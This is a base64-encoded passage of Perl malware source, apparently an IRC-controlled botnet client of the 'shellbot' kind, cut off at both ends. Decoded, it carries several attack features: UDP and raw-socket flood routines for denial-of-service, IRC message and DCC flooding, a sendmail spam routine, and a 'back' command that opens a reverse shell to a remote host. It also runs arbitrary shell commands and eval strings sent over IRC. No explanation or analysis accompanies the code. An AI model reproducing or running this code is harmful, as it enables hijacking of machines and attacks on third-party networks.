FxkKylccysoXGQrKS8pIHsNCiAgICAgICAgICAgICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsNCiAgICAgICAgICAgICAgc29ja2V0KFRyMHgsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KTsNCiAgICAgICAgICAgICAgbXkgJGFsdm89aW5ldF9hdG9uKCIkMSIpOw0KICAgICAgICAgICAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgICAgICAgICAgICBteSAkdGVtcG8gPSAiJDMiOw0KICAgICAgICAgICAgICBteSAkcGFjb3RlOw0KICAgICAgICAgICAgICBteSAkcGFjb3Rlc2U7DQogICAgICAgICAgICAgIG15ICRmaW0gPSB0aW1lICsgJHRlbXBvOw0KICAgICAgICAgICAgICBteSAkcGFjb3RhID0gMTsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKFVEUCBERG9TaW5nKVwwMDMgQXR0YWNraW5nXDAwMjogJDEgLSBcMDAyVGltZVwwMDI6ICR0ZW1wbyIuInNlY29uZHMiKTsNCiAgICAgICAgICAgICAgd2hpbGUgKCgkcGFjb3RhID09ICIxIikgJiYgKCRwYWNvdGVzID09ICIxIikpIHsNCiAgICAgICAgICAgICAgICAkcGFjb3RhID0gMCBpZiAoKHRpbWUgPj0gJGZpbSkgJiYgKCR0ZW1wbyAhPSAiMCIpKTsNCiAgICAgICAgICAgICAgICAkcGFjb3RlPSRyYW5kIHggJHJhbmQgeCAkcmFuZDsNCiAgICAgICAgICAgICAgICAkcG9ydGEgPSBpbnQocmFuZCA2NTAwMCkgKzEgaWYgKCRwb3J0YSA9PSAiMCIpOw0KICAgICAgICAgICAgICAgIHNlbmQoVHIweCwgMCwgJHBhY290ZSwgc29ja2FkZHJfaW4oJHBvcnRhLCAkYWx2bykpIGFuZCAkcGFjb3Rlc2UrKyBpZiAoJHBhY290ZXMgPT0gIjEiKTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICBpZiAoJHhzdGF0cykNCiAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTIoVURQIENvbXBsZXRlKTpcMDAzXDAwMiAkMSAtIFwwMDJTZW5kdFwwMDI6ICRwYWNvdGVzZSIuImtiIC0gXDAwMlRpbWVcMDAyOiAkdGVtcG8iLiJzZWNvbmRzIik7DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJDQoJICAgIyBNYWlsDQoJICAgDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15tYWlsXHMrKC4qKVxzKyguKilccysoLiopXHMrKC4qKS8pIHsNCgkJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTIgVHJpbWl0IG1haWwgY2F0cmUgOiAkMyIpOw0KCQkJJHN1YmplY3QgPSAkMTsNCgkJCSRzZW5kZXIgPSAkMjsNCgkJCSRyZWNpcGllbnQgPSAkMzsNCgkJCUBjb3JwbyA9ICQ0Ow0KCQkJJG1haWx0eXBlID0gImNvbnRlbnQtdHlwZTogdGV4dC9odG1sIjsNCgkJCSRzZW5kbWFpbCA9ICcvdXNyL3NiaW4vc2VuZG1haWwnOw0KCQkJb3BlbiAoU0VORE1BSUwsICJ8ICRzZW5kbWFpbCAtdCIpOw0KCQkJcHJpbnQgU0VORE1BSUwgIiRtYWlsdHlwZVxuIjsNCgkJCXByaW50IFNFTkRNQUlMICJTdWJqZWN0OiAkc3ViamVjdFxuIjsNCgkJCXByaW50IFNFTkRNQUlMICJGcm9tOiAkc2VuZGVyXG4iOw0KCQkJcHJpbnQgU0VORE1BSUwgIlRvOiAkcmVjaXBpZW50XG5cbiI7DQoJCQlwcmludCBTRU5ETUFJTCAiQGNvcnBvXG5cbiI7DQoJCQljbG9zZSAoU0VORE1BSUwpOw0KCQkJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTIgTWFpbCB0cmltaXMgbGEgOiAkcmVjaXBpZW50Iik7DQoJCQl9DQoJCQ0KCSAgICMgTWF4aUZsb29kDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15tYXhpZmxvb2QoLiopLykgew0KCQlmb3IoJGk9MDsgJGk8PTE1OyAkaSs9MSl7DQoJCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiTk9USUNFICIuJDEuIiA6bG9vb29vbCBhaGF1YWhhdWhhdSB0aS1haSBsdWF0byBpbiBjdXIgZ2FvemFyZSBcbiIpOw0KICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICIuJDEuIiA6XDAwMVZFUlNJT05cMDAxXG4iKTsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAiLiQxLiIgOlwwMDFQSU5HXDAwMVxuIik7DQogICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgIi4kMS4iIDpsb29vb29sIGFoYXVhaGF1aGF1IHRpLWFpIGx1YXRvIGluIGN1ciBnYW96YXJlIFxuIik7ICAgICAgICANCiAgIH0NCiAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyIEwtYW0gYXJzIHBlICIuJDEuIiAiKTsNCn0NCg0KCSAgICMgRENDIEZMT09EDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15kY2NmbG9vZCAoLiopLykgew0KICAgZm9yKCRpPTA7ICRpPD0xMDsgJGkrPTEpew0KICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICIuJDEuIiA6XDAwMURDQyBDSEFUIGNoYXQgMTEyMTQ4NTEzMSAxMDI0XDAwMVxuIik7DQogICB9DQogICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMlwwMDMxMiBMLWFtIGFycyBwZSAiLiQxLiIgIik7DQp9ICAgICAgDQoJCQ0KCSAgICMgSVJDDQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15qb2luICguKikvKSB7DQogICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIkpPSU4gIi4kMSk7DQogICAgICAgICB9DQoJCQllbHNpZiAoJGZ1bmNhcmcgPX4gL15wYXJ0ICguKikvKSB7DQogICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBBUlQgIi4kMSk7DQogICAgICAgICB9DQoJCSBlbHNpZiAoJGZ1bmNhcmcgPX4gL152b2ljZSAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgK3YgIi4kMSk7DQogICAgICAgICAgIH0NCiAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXmRldm9pY2UgKC4qKS8pIHsNCiAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiTU9ERSAkcHJpbnRsIC12ICIuJDEpOw0KICAgICAgICAgICB9DQogICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15oYWxmb3AgKC4qKS8pIHsNCiAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiTU9ERSAkcHJpbnRsICtoICIuJDEpOw0KICAgICAgICAgICB9DQogICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15kZWhhbGZvcCAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgLWggIi4kMSk7DQogICAgICAgICAgIH0NCiAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXm93bmVyICguKikvKSB7DQogICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIk1PREUgJHByaW50bCArcSAiLiQxKTsNCiAgICAgICAgICAgfQ0KICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eZGVvd25lciAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgLXEgIi4kMSk7DQogICAgICAgICB9DQogICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15vcCAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgK28gIi4kMSk7DQogICAgICAgICAgIH0gICAgICAgIA0KICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eZGVvcCAoLiopLykgew0KICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJNT0RFICRwcmludGwgLW8gIi4kMSk7DQogICAgICAgICAgIH0NCgkJIGVsc2lmICgkZnVuY2FyZyA9fiAvXm5pY2sgKC4qKS8pIHsNCiAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAibmljayAiLiQxKTsNCiAgICAgICAgICAgfQ0KICAgICAgICNCYWNrY29ubmVjdA0KICAgICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eYmFja1xzKyguKilccysoXGQrKS8pIHsNCiAgICAgICAgICAgICAgbXkgJGhvc3QgPSAiJDEiOw0KICAgICAgICAgICAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgICAgICAgICAgICBteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7DQogICAgICAgICAgICAgIG15ICRpYWRkciA9IGluZXRfYXRvbigkaG9zdCk7DQogICAgICAgICAgICAgIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKTsNCiAgICAgICAgICAgICAgbXkgJHNoZWxsID0gIi9iaW4vc2ggLWkiOw0KICAgICAgICAgICAgICBpZiAoJF5PIGVxICJNU1dpbjMyIikgew0KICAgICAgICAgICAgICAgICRzaGVsbCA9ICJjbWQuZXhlIjsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICBzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSBvciBkaWUgInNvY2tldDogJCEiOw0KICAgICAgICAgICAgICBjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSBvciBkaWUgImNvbm5lY3Q6ICQhIjsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW3hdIC0+XDAwMzQgSW5qZWN0aW9uIC4uLiIpOw0KICAgICAgICAgICAgICBvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCiAgICAgICAgICAgICAgb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0KICAgICAgICAgICAgICBvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7DQogICAgICAgICAgICAgIHN5c3RlbSgiJHNoZWxsIik7DQogICAgICAgICBzeXN0ZW0oImNkIC90bXAvLm1yeCIpOw0KICAgICAgICAgICAgICBjbG9zZShTVERJTik7DQogICAgICAgICAgICAgIGNsb3NlKFNURE9VVCk7DQogICAgICAgICAgICAgIGNsb3NlKFNUREVSUik7DQogICAgICAgICAgICB9DQogICAgICAgICAgIGV4aXQ7DQogICAgICAgfQ0KICB9DQp9DQoNCnN1YiBpcmNhc2Ugew0KICBteSAoJGtlbSwgJHByaW50bCwgJGNhc2UpID0gQF87DQoNCiAgIGlmICgkY2FzZSA9fiAvXmpvaW4gKC4qKS8pIHsNCiAgICAgaigiJDEiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnBhcnQgKC4qKS8pIHsNCiAgICAgIHAoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15yZWpvaW5ccysoLiopLykgew0KICAgICAgbXkgJGNoYW4gPSAkMTsNCiAgICAgIGlmICgkY2hhbiA9fiAvXihcZCspICguKikvKSB7DQogICAgICAgIGZvciAobXkgJGNhID0gMTsgJGNhIDw9ICQxOyAkY2ErKyApIHsNCiAgICAgICAgICBwKCIkMiIpOw0KICAgICAgICAgIGooIiQyIik7DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7DQogICAgICAgICAgcCgiJGNoYW4iKTsNCiAgICAgICAgICBqKCIkY2hhbiIpOw0KICAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eb3AvKSB7DQogICAgICBvcCgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgIm9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCAzKTsNCiAgICAgIG9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZGVvcC8pIHsNCiAgICAgIGRlb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJkZW9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCA1KTsNCiAgICAgIGRlb3AoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL152b2ljZS8pIHsNCiAgICAgIHZvaWNlKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAidm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDYpOw0KICAgICAgdm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15kZXZvaWNlLykgew0KICAgICAgZGV2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgImRldm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDgpOw0KICAgICAgZGV2b2ljZSgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXm1zZ1xzKyhcUyspICguKikvKSB7DQogICAgICBtc2coIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15mbG9vZFxzKyhcZCspXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykgew0KICAgICAgICBtc2coIiQyIiwgIiQzIik7DQogICAgICB9DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsNCiAgICAgICAgY3RjcCgiJDIiLCAiJDMiKTsNCiAgICAgIH0NCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmN0Y3BccysoXFMrKSAoLiopLykgew0KICAgICAgY3RjcCgiJDEiLCAiJDIiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmludml0ZVxzKyhcUyspICguKikvKSB7DQogICAgICBpbnZpdGUoIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15uaWNrICguKikvKSB7DQogICAgICBuaWNrKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eanVtcFxzKyhcUyspXHMrKFxTKykvKSB7DQogICAgICAgY29uZWN0YXIoIiQyIiwgIiQxIiwgNjY2Nyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15zZW5kXHMrKFxTKylccysoXFMrKS8pIHsNCiAgICAgIERDQzo6U0VORCgiJDEiLCAiJDIiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnJhdyAoLiopLykgew0KICAgICAgc2VuZHJhdygiJDEiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmV2YWwgKC4qKS8pIHsNCiAgICAgIGV2YWwgIiQxIjsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnJqXHMrKFxTKylccysoXGQrKS8pIHsNCiAgICBzbGVlcCBpbnQocmFuZCgkMikpOw0KICAgIGooIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15ycFxzKyhcUyspXHMrKFxkKykvKSB7DQogICAgc2xlZXAgaW50KHJhbmQoJDIpKTsNCiAgICBwKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecXVpdC8pIHsNCiAgICAgcXVpdCgpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecmFuZC8pIHsNCiAgICBteSAkbm92b25pY2sgPSBnZXRuaWNrKCk7DQogICAgIG5pY2soIiRub3ZvbmljayIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ec3RhdCAoLiopLykgew0KICAgICBpZiAoJDEgZXEgIm9uIikgew0KICAgICAgJHhzdGF0cyA9IDE7DQogICAgICBtc2coIiRwcmludGwiLCAiU2F0dXMgZW5hYmxlZCIpOw0KICAgICB9IGVsc2lmICgkMSBlcSAib2ZmIikgew0KICAgICAgJHhzdGF0cyA9IDA7DQogICAgICBtc2coIiRwcmludGwiLCAiU3RhdHVzIGRpc2FibGUiKTsNCiAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eYmFuZyAoLiopLykgew0KICAgICBpZiAoJDEgZXEgIm9uIikgew0KICAgICAgJHBhY290ZXMgPSAxOw0KICAgICAgbXNnKCIkcHJpbnRsIiwgIlt4XSBCYW5nIG1vZGUgZW5hYmxlZCIpIGlmICgkeHN0YXRzID09ICIxIik7DQogICAgIH0gZWxzaWYgKCQxIGVxICJvZmYiKSB7DQogICAgICAkcGFjb3RlcyA9IDA7DQogICAgICBtc2coIiRwcmludGwiLCAiW3hdIEJhbmcgbW9kZSBkaXNhYmxlZCIpIGlmICgkeHN0YXRzID09ICIxIik7DQogICAgIH0NCiAgIH0NCn0NCnN1YiBzaGVsbCB7DQogIHJldHVybiB1bmxlc3MgJHNoZWxsYWNjZXNzOw0KICBteSAkcHJpbnRsPSRfWzBdOw0KICBteSAkY29tYW5kbz0kX1sxXTsNCiAgaWYgKCRjb21hbmRvID1+IC9jZCAoLiopLykgew0KICAgIGNoZGlyKCIkMSIpIHx8IG1zZygiJHByaW50bCIsICJjZDogJDEiLiI6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkiKTsNCiAgICByZXR1cm47DQogIH0NCiAgZWxzaWYgKCRwaWQgPSBmb3JrKSB7DQogICAgIHdhaXRwaWQoJHBpZCwgMCk7DQogIH0gZWxzZSB7DQogICAgICBpZiAoZm9yaykgew0KICAgICAgICAgZXhpdDsNCiAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICBteSBAcmVzcD1gJGNvbWFuZG8gMj4mMSAzPiYxYDsNCiAgICAgICAgICAgbXkgJGM9MDsNCiAgICAgICAgICAgZm9yZWFjaCBteSAkbGluaGEgKEByZXNwKSB7DQogICAgICAgICAgICAgJGMrKzsNCiAgICAgICAgICAgICBjaG9wICRsaW5oYTsNCiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6JGxpbmhhIik7DQogICAgICAgICAgICAgaWYgKCRjID49ICIkbGluYXNfbWF4Iikgew0KICAgICAgICAgICAgICAgJGM9MDsNCiAgICAgICAgICAgICAgIHNsZWVwICRzbGVlcDsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICAgICAgZXhpdDsNCiAgICAgICB9DQogIH0NCn0NCg0Kc3ViIGF0dGFja2VyIHsNCiAgbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsNCiAgbXkgJG1zZyA9ICdCJyB4ICRfWzFdOw0KICBteSAkZnRpbWUgPSAkX1syXTsNCiAgbXkgJGNwID0gMDsNCiAgbXkgKCVwYWNvdGVzKTsNCiAgJHBhY290ZXN7aWNtcH0gPSAkcGFjb3Rlc3tpZ21wfSA9ICRwYWNvdGVze3VkcH0gPSAkcGFjb3Rlc3tvfSA9ICRwYWNvdGVze3RjcH0gPSAwOw0KDQogIHNvY2tldChTT0NLMSwgUEZfSU5FVCwgU09DS19SQVcsIDIpIG9yICRjcCsrOw0KICBzb2NrZXQoU09DSzIsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KSBvciAkY3ArKzsNCiAgc29ja2V0KFNPQ0szLCBQRl9JTkVULCBTT0NLX1JBVywgMSkgb3IgJGNwKys7DQogIHNvY2tldChTT0NLNCwgUEZfSU5FVCwgU09DS19SQVcsIDYpIG9yICRjcCsrOw0KICByZXR1cm4odW5kZWYpIGlmICRjcCA9PSA0Ow0KICBteSAkaXRpbWUgPSB0aW1lOw0KICBteSAoJGN1cl90aW1lKTsNCiAgd2hpbGUgKCAxICkgew0KICAgICBmb3IgKG15ICRwb3J0YSA9IDE7ICRwb3J0YSA8PSA2NTUzNTsgJHBvcnRhKyspIHsNCiAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsNCiAgICAgICBzZW5kKFNPQ0sxLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3tpZ21wfSsrIGlmICgkcGFjb3RlcyA9PSAxKTsNCiAgICAgICBzZW5kKFNPQ0syLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t1ZHB9KysgaWYgKCRwYWNvdGVzID09IDEpOw0KICAgICAgIHNlbmQoU09DSzMsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2ljbXB9KysgaWYgKCRwYWNvdGVzID09IDEpOw0KICAgICAgIHNlbmQoU09DSzQsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze3RjcH0rKyBpZiAoJHBhY290ZXMgPT0gMSk7DQogICAgICAgZm9yIChteSAkcGMgPSAzOyAkcGMgPD0gMjU1OyRwYysrKSB7DQogICAgICAgICBuZXh0IGlmICRwYyA9PSA2Ow0KICAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCiAgICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsNCiAgICAgICAgIHNvY2tldChTT0NLNSwgUEZfSU5FVCwgU09DS19SQVcsICRwYykgb3IgbmV4dDsNCiAgICAgICAgIHNlbmQoU09DSzUsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze299KysgaWYgKCRwYWNvdGVzID09IDEpOw0KICAgICAgIH0NCiAgICAgfQ0KICAgICBsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQogIH0NCiAgcmV0dXJuKCRjdXJfdGltZSwgJXBhY290ZXMpOw0KfQ0KDQpzdWIgYWN0aW9uIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJQUklWTVNHICRfWzBdIDpcMDAxQUNUSU9OICRfWzFdXDAwMSIpOw0KfQ0Kc3ViIGN0Y3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOlwwMDEkX1sxXVwwMDEiKTsNCn0NCnN1YiBtc2cgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgbm90aWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJOT1RJQ0UgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgb3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK28gJF9bMV0iKTsNCn0NCnN1YiBkZW9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC1vICRfWzFdIik7DQp9DQpzdWIgaG9wIHsNCiAgICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAraCAkX1sxXSIpOw0KfQ0Kc3ViIGRlaG9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICtoICRfWzFdIik7DQp9DQpzdWIgdm9pY2Ugew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK3YgJF9bMV0iKTsNCn0NCnN1YiBkZXZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC12ICRfWzFdIik7DQp9DQpzdWIgYmFuIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICtiICRfWzFdIik7DQp9DQpzdWIgdW5iYW4gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gLWIgJF9bMV0iKTsNCn0NCnN1YiBraWNrIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJLSUNLICRfWzBdICRfWzFdIDokX1syXSIpOw0KfQ0Kc3ViIG1vZG8gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gJF9bMV0iKTsNCn0NCnN1YiBtb2RlIHsgbW9kbyhAXyk7IH0NCnN1YiBqIHsgJmpvaW4oQF8pOyB9DQpzdWIgam9pbiB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICAgc2VuZHJhdygiSk9JTiAkX1swXSIpOw0KfQ0Kc3ViIHAgeyBwYXJ0KEBfKTsgfQ0Kc3ViIHBhcnQge3NlbmRyYXcoIlBBUlQgJF9bMF0iKTt9DQpzdWIgbmljayB7DQogIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogIHNlbmRyYXcoIk5JQ0sgJF9bMF0iKTsNCn0NCnN1YiBpbnZpdGUgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIklOVklURSAkX1sxXSAkX1swXSIpOw0KfQ0Kc3ViIHRvcGljbyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiVE9QSUMgJF9bMF0gJF9bMV0iKTsNCn0NCnN1YiB0b3BpYyB7IHRvcGljbyhAXyk7IH0NCnN1YiB3aG9pcyB7DQogIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogIHNlbmRyYXcoIldIT0lTICRfWzBdIik7DQp9DQpzdWIgd2hvIHsNCiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgc2VuZHJhdygiV0hPICRfWzBdIik7DQp9DQpzdWIgbmFtZXMgew0KICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICBzZW5kcmF3KCJOQU1FUyAkX1swXSIpOw0KfQ0Kc3ViIGF3YXkgew0KICBzZW5kcmF3KCJBV0FZICRfWzBdIik7DQp9DQpzdWIgYmFjayB7IGF3YXkoKTsgfQ0Kc3ViIHF1aXQgew0KICBzZW5kcmF3KCJRVUlUIDokX1swXSIpOw0KICBleGl0Ow0KfQ0KDQpwYWNrYWdlIERDQzsNCnN1YiBjb25uZWN0aW9ucyB7DQogICBteSBAcmVhZHkgPSAkZGNjX3NlbC0+Y2FuX3JlYWQoMSk7DQojICAgcmV0dXJuIHVubGVzcyAoQHJlYWR5KTsNCiAgIGZvcmVhY2ggbXkgJGZoIChAcmVhZHkpIHsNCiAgICAgbXkgJGRjY3RpcG8gPSAkRENDeyRmaH17dGlwb307DQogICAgIG15ICRhcnF1aXZvID0gJERDQ3skZmh9e2FycXVpdm99Ow0KICAgICBteSAkYnl0ZXMgPSAkRENDeyRmaH17Ynl0ZXN9Ow0KICAgICBteSAkY3VyX2J5dGUgPSAkRENDeyRmaH17Y3VyYnl0ZX07DQogICAgIG15ICRuaWNrID0gJERDQ3skZmh9e25pY2t9Ow0KICAgICBteSAkbXNnOw0KICAgICBteSAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgMTAyNDApOw0KICAgICBpZiAoJG5yZWFkID09IDAgYW5kICRkY2N0aXBvID1+IC9eKGdldHxzZW5kY29uKSQvKSB7DQogICAgICAgICREQ0N7JGZofXtzdGF0dXN9ID0gIkNhbmNlbGFkbyI7DQogICAgICAgICREQ0N7JGZofXtmdGltZX0gPSB0aW1lOw0KICAgICAgICAkZGNjX3NlbC0+cmVtb3Zl